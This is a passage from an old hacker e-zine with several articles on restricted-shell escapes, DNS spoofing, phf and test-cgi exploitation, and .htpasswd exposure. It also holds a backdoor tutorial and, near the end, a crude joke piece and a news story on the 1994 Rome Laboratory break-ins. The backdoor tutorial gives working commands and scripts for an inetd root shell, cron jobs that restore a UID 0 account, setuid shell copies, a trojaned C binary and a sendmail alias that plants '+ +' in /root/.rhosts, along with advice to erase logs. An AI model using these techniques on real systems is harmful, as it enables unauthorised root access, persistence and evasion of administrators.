for peachie.com was and we told it that the reverse of 2.2.2.2 is trusted.eatme.org and that the IP of trusted.eatme.org is 2.2.2.2. They asked a question to which we responded with two awnsers to different question entirely. Now we would simply connect to eatme.org from 2.2.2.2 and eatme.org would ask ns.eatme.org for the reverse of 2.2.2.2 and in its cache it would find trusted.eatme.org and it would reply with that answer. Then it would ask for the address of trusted.eatme.org and it would reply with 2.2.2.2. you would then be connected to eatme.org from trusted.eatme.org and in effect DNS spoofing. That's all there is to it, it may be a bit heavy for some people. so1o. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 4. FreeNet : TrN ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Breaking security on restricted shells and freenets. What many system administrators fail to realize is that by setting up shells and security on their applications and systems, and generally trying to lock users in a freenet menu environment, it is almost impossible to fully examine every program. Many programs allow you to escape to shells, even in secure mode, especially the older ones. There is a longstanding bug in the gohper application, used by many freenets, that allows you to start up a gopher server, where an entry is created such as ";sh". Following this entry provides a shell. This is the main reason why the original gopher client is no longer in use. A "l;rm -rf *" was just as easy. In todays world, the biggest problem is that freenets usually allow you to edit files. If this is the case, you almost have a 100% chance of you getting into a real shell. What you first have to do is see if you can go through the menu system to edit a file. If you can't that is cool too. We are going to show you how to get a shell out of PINE. It doesn't matter which version, this works all the way up to 3.96. Anyway, like I was saying, you should see if you can either a) edit a file, or b) upload a file. I'm almost sure you can do either. So, lets start a little session here. First, you have to edit your .pinerc. If you can't, download it (or get it from the PINE package), make the changes, and reupload it. What is important is that you edit the feature-list=commands, and have it read something similar to this: feature-list=enable-alternate-editor-cmd, enable-unix-pipe-cmd After setting this correctly, go further in the file, and until you find the editor= command. It is stated that the editor is normally set to sh, and invoked via _^ [Control-Shift-Dash]. Do you get the idea yet? Set the line to read editor=sh and then save the file. Now for the fun part. Start up pine, and chose Compose Message. Erase all the To/Cc/Att/Sub headers, and make the message text blank, except for the work "sh" (without the quotes) on a single line. After this is done, press the alternate editor hotkey (^_). Here is what happens: To : Cc : Attchmnt: Subject : ----- Message Text ----- sh $ Kinda neat. That little $ is the sign that it all worked. What you probably want to do is execute some of the standard commands that tell you a little about where you are: $ uname -a ; uptime ; /sbin/ifconfig -a SunOS pb 4.1.3_U1 1 sun4m 12:14am up 47 days, 12:18, 24 users, load average: 2.71 le0: flags=63 inet 199.227.192.35 ffffff00 199.227.192.0 lo0: flags=49 inet 127.0.0.1 ff000000 Then a w ; ps -aux would be nice. It can tell you a little about what is going on, and what is safe to do the things you want. You should probably log on late at night, compile slirp if it is only a shell/vt dialin, and then check the system for vunerabilities, unshadowed passwords, etc. I've notified my freenet of their problems, but they don't seem to care. Maybe now they will. Ok sysadmins, fix up your freenets, and hackers... Hack the planet. :-) This article by TrN of The CodeZero. I'll have more interesting information on the way. You can get ahold of me at http://bluebox.dyn.ml.org:8000, or by e-mail at p033644b@pbfreenet.seflin.lib.fl.us. You should check out the web page, as it has other security related information. LaterZ. One other thing to consider, if ports 514 / 512 are open, then you can try creating an .rhosts file in your home directory containing "+ +", then use.. rsh -l loginhere systemhere.com csh -i ...and you will get a shell -- so1o. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 5. Backdoors Revised : Blk-Majik ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Disclamer: If you do anything mentioned in this article, it is your own fault and any trouble you manage to get into is your own responsibility, not mine. But what am I thinking...like any of you lamers can root a shell :). gr33tz: A big wuzzup to cf, oK, oa, and gZ! Keep it kewl, madmax, imunknown, pack, plum, mogle, crytpo`, so1o, c0d, and da rest of muh boys! Thanx to mcooly for making this document possible and helping me out! ============================================================================= section 1: ============================================================================= What is a back door? : Well, kiddies, a backdoor is just a way to remotely get into a shell without being noticed or sometimes logged. This can be done by adding a extra telnet port to the server I will show you a few ways to set up the port, and also how to keep it up even after the admin find it. so1o had a section in a back issue with a back door using the inetd.conf file where you had to end all commands with a ";". Well that annoyed the hell out of me so I have modified his technique. ============================================================================= section 2: ============================================================================= What you need : Basically, you need root on a shell to start (and a Unix based OS). After that, you will need a good editor....say pico or vi. Most of you #shells wh0res need, but lack this important ingredient....a fucking brain. ============================================================================= section 3: ============================================================================= Understanding the technique : After you checked your head, editor, whoami, etc, you are all set. Ok, this is what you look for: /etc/services This file lets you find a port /ect/inetd.conf This is where the backdoor will be ok, in the /etc/services file, you will see something like this: tcpmux 1/tcp #TCP Port Service Multiplexer tcpmux 1/udp #TCP Port Service Multiplexer compressnet 2/tcp #Management Utility compressnet 2/udp #Management Utility compressnet 3/tcp #Compression Process compressnet 3/udp #Compression Process ok, what the fuck is that? ill explain it with this example: ftp 21/tcp #File Transfer [Control] ftp 21/udp #File Transfer [Control] [1] [2]/[3] #[ 4 ] 1: The name of the service of the system. 2: The port that the system uses for the service. 3: The protocol (going to be tcp. You can chose either tcp or udp.) 4: A description of what the service is used for. Aight, thats the service file...you will need this later. now look at the /etc/inetd.conf file. the inetd is a Internet daemon that will listen for tcp requests and UDP prots and then spaws the program when a connection request is made. It will look like this: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A telnet stream tcp nowait root /usr/libexec/tcpd telnetd shell stream tcp nowait root /usr/libexec/tcpd rshd login stream tcp nowait root /usr/libexec/tcpd rlogind -a exec stream tcp nowait root /usr/libexec/tcpd rexecd let me explain it: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A [1] [ 2 ] [3] [ 4 ] [ 5 ] [ 6 ] [ 7 ] 1: Name of deamon in the services file. It tells inetd what to look for in /etc/services to see what port to use when connecting. 2: Type of of socket connection that the deamon will accept. 3: Protocol field which is always TCP or UDP. 4: How long to delay connection. 5: User to run on the deamon as (used with uid/gid permissions etc.) 6: What program will keep the connection. 7: The actual command or daemon. Ok, so what that dose it makes a port for telnet (port 21, as defined in the services file). It has a stream/tcp connection and dosn't wait for a prompt. The user is of root access and uses /ur/libexec/tcpd (but limited commands) Ok, now u know what the shit is for, next step... ============================================================================= section 4: ============================================================================= Installing the backdoor : Backdoor I : Using /etc/inetd.conf and /etc/services ---------------------------------------------------- method 1 : ---------- ok, now go back to the /etc/services file. Look at it and find a service you think the admin will not notice, and that is not in use. remember the name of the service. Now, go to the inetd.conf file. Go to a place with all the services name where the 1 is in the above example. Add you service somewhere so it is hidden within others. For 2, put the port of the service. 3 is tcp, duh. 4 is nowait. 5 will be root, so u get root access. 6 is going to be /bin/sh or what ever you like. 7 has to be 6 -i..ex: if 7 is /bin/sh, 7 is /bin/sh -i here is an example: ftp stream tcp nowait root /bin/sh sh -i Ok, now you have to restart the inetd. do this by typing (as root) : killall -HUP inetd Ok, now lets test it. From a different system... telnet victum.server.com 21 Trying 123.456.78.9... Connected to comp.com Escape character is '^]'. bash# bash# whoami root bash# tip: do NOT use the ftp port...it is just used to often. Pick a service that is not use alot. It will help you keep the backdoor running. method 2: --------- If you are willing, you can add your own service to the service file. This is easy..say you service file is like this: netbios-ssn 139/tcp nbssn imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp ok, look at the ports.....see how they skip a few? well lets fill 1 of them up... netbios-ssn 139/tcp nbssn suled 142/tcp suled imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp Notice the suled service...that I added that to the /etc/services. Ok, now to the /etc/inetd.conf file: ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd gopher stream tcp nowait root /usr/sbin/tcpd gn ...Here we go!! ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd gopher stream tcp nowait root /usr/sbin/tcpd gn suled stream tcp nowait root /bin/sh sh -i Ok, now restart inetd like i said how to before... You're all set, telnet localhost and test it!@~# Backdoor II: Da beauty of CRON ------------------------------- Ok, cron trojans are good for keeping root if the admin kills the backdoor. A Cron is a timed daemon. It consits of hours, minutes, etc. It will make the system automatically issue a command on the shell at a given time of your choice... Type crontab in the shell. It will tell you how to list, run and remove crons. You will like to look at the /var/spool/cron/crontabs/root. This is what the crons will look like: 0 0 * * 1 /usr/bin/updatedb [1] [2] [3] [4] [5] [ 6 ] 1: munute, 0-59 2: hour, 0-23 3: day of month, 1-31 4: month of yeat, 1-12 5: day of week, 0-6 6: command to execute The example above is issued on monday's. If you want to exploit the cron, simply add an cron line to the /var/spool/crontab/root. ie: If you use the UID 0 account (as seen later), you can make a cron to see if the UID 0 account is still alive. If root killed it, the cron can re-add it! ...This will make the UID 0 account, just for back-up: Cron #1 ------- newuser.sh ---------- #!/bin/sh # Inserts a UID 0 account into the middle of the passwd file. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well. # daemon9@netcom.com set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... *** NOTE : MODIFY THE ECHO "YOURUSER..." PART!! Here is a script that kinda does the same thing, but instead of making a new account, it will look for an old, disabled account and enable it just for you : dead.sh ------- #!/bin/sh # Everyone's favorite... cp /bin/csh /tmp/.yourlittleshell # Don't name it that... chmod 4755 /tmp/.yourlittleshell Ok, here is where the cron comes in. It will look in the passwd files to check if you YouUser is still alive. If not, it brings him back! revive.sh --------- #!/bin/sh #Is YourUser still on the system? Let's make sure he is. #daemon9@netcom.com set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string option echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif cron #2 ------- First of all, you will need a copy of the /etc/passwd file in a hidden location. For this example, we will use /var/spool/mail/.hidepass. We have one entry in it that will be are root account we will use. Then lets make a cron that will save a copy of the real /etc/passwd file and install the hidden passwd file as the real one for 1 minute at a time of your choice. Make it at a slow time of day because any one who tries to access the passwd file durring this minute will get an error. 4:30 am is a good time. Put this in the roots cron to do this : 29 4 * * * /bin/usr/hidenhidenpass ..make sure this exist #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.hidden here is the /bin/usr/hidenhidenpass .hidden ------- #!/bin/sh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd Cron #3 -------- This is a c script that will work like the above. Cron it as root like as above and just let this file load every day. hidden.c -------- #include #define KEYWORD "industry3" #define BUFFERSIZE 10 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ /* This is the trojan part. */ system("cp /bin/csh /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } /* Put your possibly system specific trojan messages here */ /* Let's look like we're doing something... */ printf("Sychronizing bitmap image records."); /* system("ls -alR / >& /dev/null > /dev/null&"); */ for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("\nDone.\n"); return(0); } /* End main */ ============================================================================= section 5: ============================================================================= Sendmail backdoor : ------------------- With this, you have to edit the /etc/aliases file. add this line: decode: |/usr/bin/uudecode make sure u hide it in their so it aint odvious :). the uudecode file will be a .rhosts file with the full pathname embedded. here is the script: uudecode.sh ----------- #!/bin/sh # Create our .rhosts file. Note this will output to stdout. echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts Ok, now telnet to victumserver.com at port 25. Fakemail to decode and use as the subject body, the uuencoded version of the .rhosts file. Here is an easy one (but not fake): echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com You can add any program that I have listed to be ran from the alias, so be as creative as u want! :) ============================================================================= section 6: ============================================================================= Others : Here is one of the best trojans I have seen. It is sneeky and only detectable by programs like tripwire. All you have to do is put the trojan code into a the source of some popular system programs. su, login, and passwd are very good to add it to because they run a SUID root and don't have strict permission so you can modify it. This will tell you what to do after u get the source code for the particular UNIX system you are backdooring. If you can't get the source for any programs on your system, u may be screwed :(. You can find trojaned versions of many programs, here is a small example of pseudo-code that is added in such programs... get input; if input is special hardcoded flag, spawn evil trojan; else if input is valid, continue; else quit with error; ... ============================================================================= section 7: ============================================================================= Keeping the backdoor : Well, the best advice I can possibly give to start off is to cover your tracks. If the admin doesn't know he's been hacked, he won't look for backdoors to remove. This will totaly depend on the admins ability to find backdoors and know how to get rid of them. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6. One Last Thing About The Infamous pHf Technique : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You can use this basic form of attack...[Thru NutScrape For Example] http://www.site.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd [ 1 ][ 2 ][ 3 ][ 4 ][5][ 6 ] 1: The Target Site. 2: The pHf Command. 3: The Magic pHf Arguments. 4: The Program You Wish To Run. 5: %20 Is A Space, so %20%20%20 == 3 Spaces. 6: The Arguments You Wish To Use. Here Are Some Other Examples... ------------------------------- http://www.site.com/cgi-bin/phf?Qalias=x&0a/bin/ls%20-la%20/etc/ ...This will list the files in the /etc/ directory. http://www.site.com/cgi-bin/phf?Qalias=x%0a/bin/uname%20-a ...This will display the operating system. Remember : You execute the commands with pHf as the user nobody, so you can't shutdown the system, echo "+ +" >> /.rhosts etc. etc. All the stuff you throw at the system using phf will be logged too, so if you do decide to hack the system, remember to kill the logs when you get root :) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 7. Test-cgi holes : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Example exploit: ---------------- Below are examples, nc is netcat from avian.org. You can always just telnet to port 80 and type in the GET... command. machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ...Or to see what other cgi-goodies are still floating around... machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8. Tree raping : digitalboy [DD] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Tree raping can be an exciting and fulfilling hobby, as long as the proper safety precautions are taken. This file will try to outline the process of tree raping, as well as give you some background on the sport of tree raping. \|/ History \|/ Tree raping originated in Eastern Africa long before history was recorded. It was practiced by tribes of natives who used it as a test to determine the tribal chief. He who could rape the most trees was surely the most powerful, and therefore the rightful leader. The sexual molestation of trees was kept a tribal secret, and no outsiders learned of the practice until the late 1800's when Spanish explorer Hernando Ferdinando Enriquez happened to witness the event. He was killed by the natives he had been watching, but before his death he wrote of it in his journal. In 1937, a nun found the journal and the methods of tree raping were spread to the rest of the civilized world. \|/ Preparation \|/ Tree raping is not something you can just go out and do. You must be prepared. First and foremost, find a forest. While some of the best trees are found in urban settings, violating them will usually land you in the city jail. Not to mention the public ridicule. No, this is an activity that must take place in a relatively secluded part of a forest. Bring a few friends if that is your fancy, but large tree raping orgies usually lessen the enjoyment. You must also bring a large vat of maple syrup and possible climbing equipment, this will be explained later. \|/ Tree Selection \|/ Picking the right tree to violate is essential. If you pick the wrong tree, you could end up feeling inadequate, as well as inflicting serious physical injury upon yourself. Everyone has their own preference as to what type of tree to choose, but there are some general guidelines. The most vital factor you have to consider is the position of knotholes. If a knothole is not present, you may be forced to create your own. Any seasoned tree rapist always carries his trusty power drill. Also, be sure to measure the depth of the knothole. The texture of the bark is also important. Extremely rough bark can ruin your experience. Try to find a tree with smooth bark, such as a birch. Note that you are not limited to the part of the tree at ground level. Bring some climbing equipment and you can easily reach the desired level. \|/ The Act Of Tree Raping \|/ Tree raping always has and always must be done in complete nudity. Now, remember that you were required to bring along a vat of maple syrup. This object will now come into play. First, heat it to exactly 54.7 degrees Celsius. Next lift the syrup over your head and pour it over your body. Count to 112, then lie down and roll around on the forest floor. You are now ready to begin the ritual. Approach the tree you have picked while screaming "TSAK NARP FNORZA QKWT" as loud as possible. Penetrate the tree and proceed to violate it. Try to keep moving, the maple syrup can be a powerful bonding agent. When you are finished you will have to find your own method of removing the maple syrup. \|/ The End \|/ Avoid Pine trees AT ALL COSTS! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9. .htpasswd + .htaccess : Cain [DD] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, I'm back. I should have put this article out last month, but I neglected to. Flames to /dev/null. Well anyway, you know how sometimes when you connect to a web page, you are asked for a username and password? Well, here's how that works. In a directory there is a file almost always called .htpasswd. And in another directory(or possibly that same one) there is a file called .htaccess. The .htpasswd file follows basically the same format as the /etc/passwd file: jblow:F#.DG*m38d%RF cain:GJA54j.3g9#$@f and the .htaccess file follows this format: AuthUserFile /path/to/.htpasswd require user If there is an .htaccess file in a directory, you must have a valid username and password to view any files in that directory. So here is what happens, the httpd sees the .htaccess file in the directory that you request a file from. It finds the location of the .htpasswd file and then find out who has access to the files in the directory. Therefore you must have a username and password. Well here's the bug: Only the files in the directory with the .htaccess file are passworded. So if the .htpasswd file is somewhere else (root directory maybe) then you can read that file. It uses the same form as /etc/passwd so therefore password crackers will work on this also. Insta hack if the webmaster doesn't know what he's doing. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1. Some History : nobody ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Electronic doom will soon be visited on U.S. computer networks by information warriors, hackers, pannational groups of computer-wielding religious extremists, possible agents of Libya and Iran, international thugs and money-mad Internet savvy thieves. John Deutch, director of Central Intelligence, testified to the truth of the matter, so it must be graven in stone. In a long statement composed in the august tone of the Cold Warrior, Deutch said to the Senate Permanent Subcommittee on Investigations on June 25, "My greatest concern is that hackers, terrorist organizations, or other nations might use information warfare techniques" to disrupt the national infrastructure. The lack of solid evidence for any of the claims made by the intelligence community has created an unusual stage on which two British hackers, Datastream Cowboy and Kuji, were made the dog and pony in a ridiculous show to demonstrate the threat of information warfare to members of Congress. Because of a break-in at an Air Force facility in Rome, NY, in 1994, booth hackers were made the stars of two Government Accounting Office reports on network intrusions in the Department of Defense earlier this year. The comings and goings of Datastream Cowboy also constitute the meat of Gelber and Christy's minority staff report from the Subcommittee on Investigations. Before delving into it in detail, it's interesting to read what a British newspaper published about Datastream Cowboy, a sixteen year-old, about a year before he was made the poster boy for information warfare and international hacking conspiracies in front of Congress. In a brief article, blessedly so in contrast to the reams of propaganda published on the incident for Congress, the July 5 1995 edition of The Independent wrote, "[Datastream Cowboy] appeared before Bow Street magistrates yesterday charged with unlawfully gaining access to a series of American defense computers. Richard Pryce, who was 16 at the time of the alleged offences, is accused of accessing key US Air Force systems and a network owned by Lockheed, the missile and aircraft manufacturers." Pryce, a resident of a northwest suburb of London did not enter a plea on any of 12 charges levied against him under the British Computer Misuse Act. He was arrested on May 12, 1994, by New Scotland Yard as a result of work by the U.S. Air Force Office of Special Investigations. The Times of London reported when police came for Pryce, they found him at his PC on the third floor of his family's house. Knowing he was about to be arrested, he "curled up on the floor and cried." In Gelber and Christy's staff report, the tracking of Pryce, and to a lesser extent a collaborator called Kuji -- real name Mathew Bevan, is retold as an eight page appendix entitled "The Case Study: Rome Laboratory, Griffiss Air Force Base, NY Intrusion." Pryce's entry into Air Force computers was noticed on March 28, 1994, when personnel discovered a sniffer program he had installed on one of the Air Force systems in Rome. The Defense Information System Agency (DISA) was notified. DISA subsequently called the Air Force Office of Special Investigations (AFOSI) at the Air Force Information Warfare Center in San Antonio, Texas. AFOSI then sent a team to Rome to appraise the break-in, secure the system and trace those responsible. During the process, the AFOSI team discovered Datastream Cowboy had entered the Rome Air Force computers for the first time on March 25, according to the report. Passwords had been compromised, electronic mail read and deleted and unclassified "battlefield simulation" data copied off the facility. The Rome network was also used as a staging area for penetration of other systems on the Internet. AFOSI investigators initially traced the break-in back one step to the New York City provider, Mindvox. According to the Congressional report, this put the NYC provider under suspicion because "newspaper articles" said Mindvox's computer security was furnished by two "former Legion of Doom members." "The Legion of Doom is a loose-knit computer hacker group which had several members convicted for intrusions into corporate telephone switches in 1990 and 1991," wrote Gelber and Christy. AFOSI then got permission to begin monitoring -- the equivalent of wiretapping -- all communications on the Air Force network. Limited observation of other Internet providers being used during the break-in was conducted from the Rome facilities. Monitoring told the investigators the handles of hackers involved in the Rome break-in were Datastream Cowboy and Kuji. Since the monitoring was of limited value in determining the whereabouts of Datastream Cowboy and Kuji, AFOSI resorted to "their human intelligence network of informants, i.e., stool pigeons, that 'surf the Internet.' Gossip from one AFOSI 'Net stoolie uncovered that Datastream Cowboy was from Britain. The anonymous source said he had e-mail correspondence with Datastream Cowboy in which the hacker said he was a 16-year old living in England who enjoyed penetrating ".MIL" systems. Datastream Cowboy also apparently ran a bulletin board system and gave the telephone number to the AFOSI source. The Air Force team contacted New Scotland Yard and the British law enforcement agency identified the residence, the home of Richard Pryce, which corresponded to Datastream Cowboy's system phone number. English authorities began observing Pryce's phone calls and noticed he was making fraudulent use of British Telecom. In addition, whenever intrusions at the Air Force network in Rome occurred, Pryce's number was seen to be making illegal calls out of Britain. Pryce travelled everywhere on the Internet, going through South America, multiple countries in Europe and Mexico, occasionally entering the Rome network. From Air Force computers, he would enter systems at Jet Propulsion Laboratory in Pasadena, California, and the Goddard Space Flight Center in Greenbelt, Maryland. Since Pryce was capturing the logins and passwords of the Air Force networks in Rome, he was then able to get into the home systems of Rome network users, defense contractors like Lockheed. By mid-April of 1994 the Air Force was monitoring other systems being used by the British hackers. On the 14th of the month, Kuji logged on to the Goddard Space Center from a system in Latvia and copied data from it to the Baltic country. According to Gelber's report, the AFOSI investigators assumed the worst, that it was a sign that someone in an eastern European country was making a grab for sensitive information. They broke the connection but not before Kuji had copied files off the Goddard system. As it turned out, the Latvian computer was just another system the British hackers were using as a stepping stone; Pryce had also used it to cover his tracks when penetrating networks at Wright-Patterson Air Force Base in Ohio, via an intermediate system in Seattle, cyberspace.com. The next day, Kuji was again observed trying to probe various systems at NATO in Brussels and The Hague as well as Wright-Patterson. On the 19th, Pryce successfully returned to NATO systems in The Hague through Mindvox. The point Gelber and Christy seem to be trying to make is that Kuji, a 21-year old, was coaching Pryce during some of his attacks on various systems. By this point, New Scotland Yard had a search warrant for Pryce with the plan being to swoop down on him the next time he accessed the Air Force network in Rome. In April, Pryce penetrated a system on the Korean peninsula and copied material off a facility called the Korean Atomic Research Institute to an Air Force computer in Rome. At the time, the investigators had no idea whether the system was in North or South Korea. The impression created is one of hysteria and confusion at Rome. There was fear that the system, if in North Korea, would trigger an international incident, with the hack interpreted as an "aggressive act of war." The system turned out to be in South Korea. During the Korean break-in, New Scotland Yard could have intervened and arrested Pryce. However, for unknown reasons, the agency did not. Those with good memories may recall mainstream news reports concerning Pryce's hack, which was cast as an entry into sensitive North Korean networks. It's worth noting that while the story was portrayed as the work of an anonymous hacker, both the U.S. government and New Scotland Yard knew who the perpetrator was. Further, according to Gelber's report English authorities already had a search warrant for Pryce's house. Finally, on May 12 British authorities pounced. Pryce was arrested and his residence searched. He crumbled, according to the Times of London, and began to cry. Gelber and Christy write that Pryce promptly admitted to the Air Force break-ins as well as others. Pryce confessed he had copied a large program that used artificial intelligence to construct theoretical Air Orders of Battle from an Air Force computer to Mindvox and left it there because of its great size, 3-4 megabytes. Pryce paid for his Internet service with a fraudulent credit card number. At the time, the investigators were unable to find out the name and whereabouts of Kuji. A lead to an Australian underground bulletin board system failed to pan out. On June 23 of this year, Reuters reported that Kuji -- 21-year-old Mathew Bevan -- a computer technician, had been arrested and charged in connection with the 1994 Air Force break-ins in Rome. Rocker Tom Petty sang that even the losers get lucky some time. He wasn't thinking of British computer hackers but no better words could be used to describe the two Englishmen and a two year old chain of events that led to fame as international computer terrorists in front of Congress at the beginning of the summer of 1996. Lacking much evidence for the case of conspiratorial 